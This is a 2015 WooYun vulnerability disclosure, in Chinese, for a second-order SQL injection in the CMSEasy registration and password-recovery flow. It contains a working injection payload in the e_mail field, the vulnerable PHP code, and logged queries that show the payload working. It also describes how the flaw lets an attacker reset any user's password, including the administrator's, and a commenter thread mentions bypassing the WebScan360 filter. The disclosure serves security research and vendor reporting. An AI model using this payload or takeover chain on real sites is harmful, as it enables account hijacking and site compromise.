当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-094341

漏洞标题:cmseasy sql二次注入漏洞

相关厂商:cmseasy

漏洞作者: menmen519

提交时间:2015-01-28 15:10

修复时间:2015-04-28 15:10

公开时间:2015-04-28 15:10

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-01-28: 细节已通知厂商并且等待厂商处理中
2015-01-30: 厂商已经确认,细节仅向厂商公开
2015-02-02: 细节向第三方安全合作伙伴开放
2015-03-26: 细节向核心白帽子及相关领域专家公开
2015-04-05: 细节向普通白帽子公开
2015-04-15: 细节向实习白帽子公开
2015-04-28: 细节向公众公开

简要描述:

cmseasy 可shell的漏洞

详细说明:

下载最新的cmseasy,发现有一处问题
用户注册处,email没有做任何限制,可以任意填写
我们发送url:
POST /cmseasylast/uploads/index.php?case=user&act=register HTTP/1.1
Host: localhost
postdata:
username=sql1231&password=111111&password2=111111&question=&answer=ccccc&e_mail=',data='openid|s:1:"2";' WHERE client_ip ='127.0.0.1'#&tel=010-10000000&address=1111111111111&verify=xxxxx&submit=+%E6%B3%A8%E5%86%8C+
此处由于是本地测试client_ip 可控制
e_mail:
',data='openid|s:1:"2";' WHERE client_ip ='127.0.0.1'#
这里存到了数据库,如图所示:

60.png


这里的email字段长度为50 故而我们这样写
然后我们在看看这一处

function getpass_action() {
if(front::post('step') == '') {
echo template('user/getpass.html');
}else if(front::post('step') == '1') {
/*
if(!session::get('verify') ||front::post('verify')<>session::get('verify')) {
front::flash(lang('验证码错误!'));
return;
}
*/
if(strlen(front::post('username'))<4) {
front::flash(lang('用户名太短!'));
return;
}
$user=new user();
$user=$user->getrow(array('username'=>front::post('username')));
$this->view->user = $user;
session::set('answer',$user['answer']);
session::set('username',$user['username']);
session::set('e_mail',$user['e_mail']);


看到了没有 这里从数据库获取出来然后直接 进入写session 操作 ,问题来了
刚才注入的东西已经被还原 造成二次注入
我们访问:
http://localhost/cmseasylast/uploads/index.php?case=user&act=getpass
postdata:
username=sql1231&step=1
然后去数据库查看此时的sessiondata:

61.png


看到了没有 这时候在从session获取就会被解析出来
抓取到的后台数据库为:
2015/1/28 12:10 UPDATE cmseasy_sessionox SET update_time='1422418220',data='openid|s:1:"2";username|s:7:"sql1231";answer|N;e_mail|s:54:"',data='openid|s:1:"2";' WHERE client_ip ='127.0.0.1'#";ischk|s:4:"true";' WHERE PHPSESSID = '6237151960f8ca8247d114b1c52f41f2'


2015/1/28 12:10 UPDATE cmseasy_sessionox SET update_time='1422418221',data='openid|s:1:"2";username|s:4:"test";' WHERE PHPSESSID = '6237151960f8ca8247d114b1c52f41f2'
解析过程成功执行,那么我们怎么去搞到shell
也就是说进入到后台:
getpass_action:

}else if (front::post('step') == '3') {
if(strlen(front::post('e_mail'))<1) {
echo '<script>alert("'.lang('请输入注册填写的邮箱!').'");</script>';
return;
}
if(front::post('e_mail') != session::get('e_mail')) {
echo '<script>alert("'.lang('邮箱和用户不匹配!').'");</script>';
return;
}
if(session::get('ischk') == 'true') {
function randomstr($length) {
$str = '1234567890abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLOMNOPQRSTUVWXYZ';
for($i=0;$i<$length;$i++) {
$str1 .= $str{mt_rand(0,35)};
}
return $str1;
}
$password1 = randomstr(6);
$password = md5($password1);
$user=new user();
$user->rec_update(array('password'=>$password),'username="'.session::get('username').'"');
/*config::setPath(ROOT.'/config/config.php');
function sendmail($email_to,$email_subject,$email_message,$email_from = '') {
extract($GLOBALS,EXTR_SKIP);
require ROOT.'/lib/tool/sendmail_inc.php';
}
$mail[email]=config::get('email');*/
$this->sendmail(session::get('e_mail'),lang('会员找回密码'),' '.lang('尊敬的').session::get('username').', '.lang('您好! 您的新密码是').':'.$password1.' '.lang(您可以登录后到会员中心进行修改).'!');
echo '<script>alert("系统重新生成的密码已经发送到你的邮箱,跳转到登录页!!");window.location="index.php?case=user&act=login"</script>';


当step==3时候email 在session我们可以控制成我们自己的email 然后填写管理员或者任何人的用户名
填写必要信息,就会把其他人的用户密码更改
这个 过程我就不分析了 代码自然可以看懂

漏洞证明:

修复方案:

版权声明:转载请注明来源 menmen519@乌云


漏洞回应

厂商回应:

危害等级:低

漏洞Rank:1

确认时间:2015-01-30 20:36

厂商回复:

谢谢

最新状态:

暂无


漏洞评价:

评论

  1. 2015-01-30 20:52 | menmen519 ( 普通白帽子 | Rank:762 漏洞数:146 | http://menmen519.blog.sohu.com/)

    @cmseasy @Finder 这是什么节奏 不管什么都1分

  2. 2015-01-30 20:53 | menmen519 ( 普通白帽子 | Rank:762 漏洞数:146 | http://menmen519.blog.sohu.com/)

    @cmseasy @Finger 这是什么节奏 不管什么都1分

  3. 2015-01-31 11:45 | kydhzy ( 普通白帽子 | Rank:362 漏洞数:62 | 软件测试)

    厂商是无视你的节奏

  4. 2015-01-31 19:09 | 蛇精病 ( 路人 | Rank:23 漏洞数:10 | 你连棒棒糖都没有,还谈什么狗屁爱情?)

    这种不尊重人的评分应该不算,让乌云来评 @xsser @疯狗

  5. 2015-02-02 12:46 | 疯狗 认证白帽子 ( 实习白帽子 | Rank:44 漏洞数:2 | 阅尽天下漏洞,心中自然无码。)

    @蛇精病 擦 1分。。

  6. 2015-02-02 12:50 | menmen519 ( 普通白帽子 | Rank:762 漏洞数:146 | http://menmen519.blog.sohu.com/)

    @疯狗 还有一个 马上就出来

  7. 2015-02-02 12:52 | menmen519 ( 普通白帽子 | Rank:762 漏洞数:146 | http://menmen519.blog.sohu.com/)

    @疯狗 @Finger 顺便把我底下的漏洞审核一下 有几个时间长了

  8. 2015-02-02 13:03 | 蛇精病 ( 路人 | Rank:23 漏洞数:10 | 你连棒棒糖都没有,还谈什么狗屁爱情?)

    @疯狗 你看看记录……前几个都是1分……

  9. 2015-03-18 11:09 | ca1n ( 普通白帽子 | Rank:100 漏洞数:22 | not yet)

    ...在开了webscan360的情况下没有得到复现

  10. 2015-03-18 11:25 | menmen519 ( 普通白帽子 | Rank:762 漏洞数:146 | http://menmen519.blog.sohu.com/)

    @ca1n 最新版本的 与webscan360 没有关系,而且 即使有关系 也有办法让它webscan360失效

  11. 2015-03-18 12:18 | ca1n ( 普通白帽子 | Rank:100 漏洞数:22 | not yet)

    @menmen519 = = 好吧 看来还是我太菜 我用1月那一版测的。。。email传递判断有引号的话会被拦

  12. 2015-03-18 12:25 | menmen519 ( 普通白帽子 | Rank:762 漏洞数:146 | http://menmen519.blog.sohu.com/)

    @ca1n 恩 那个版本的 webscan360 是厂商自己加了单引号 不过那个版本照样还是可以做到 因为webscan360 可以绕过

  13. 2015-03-25 19:02 | 胡小树 ( 实习白帽子 | Rank:60 漏洞数:11 | 我是一颗小小树)

    @menmen519 应该直接给出包含绕过360的代码,不然厂家也不好复现。这个1rank确实有点,,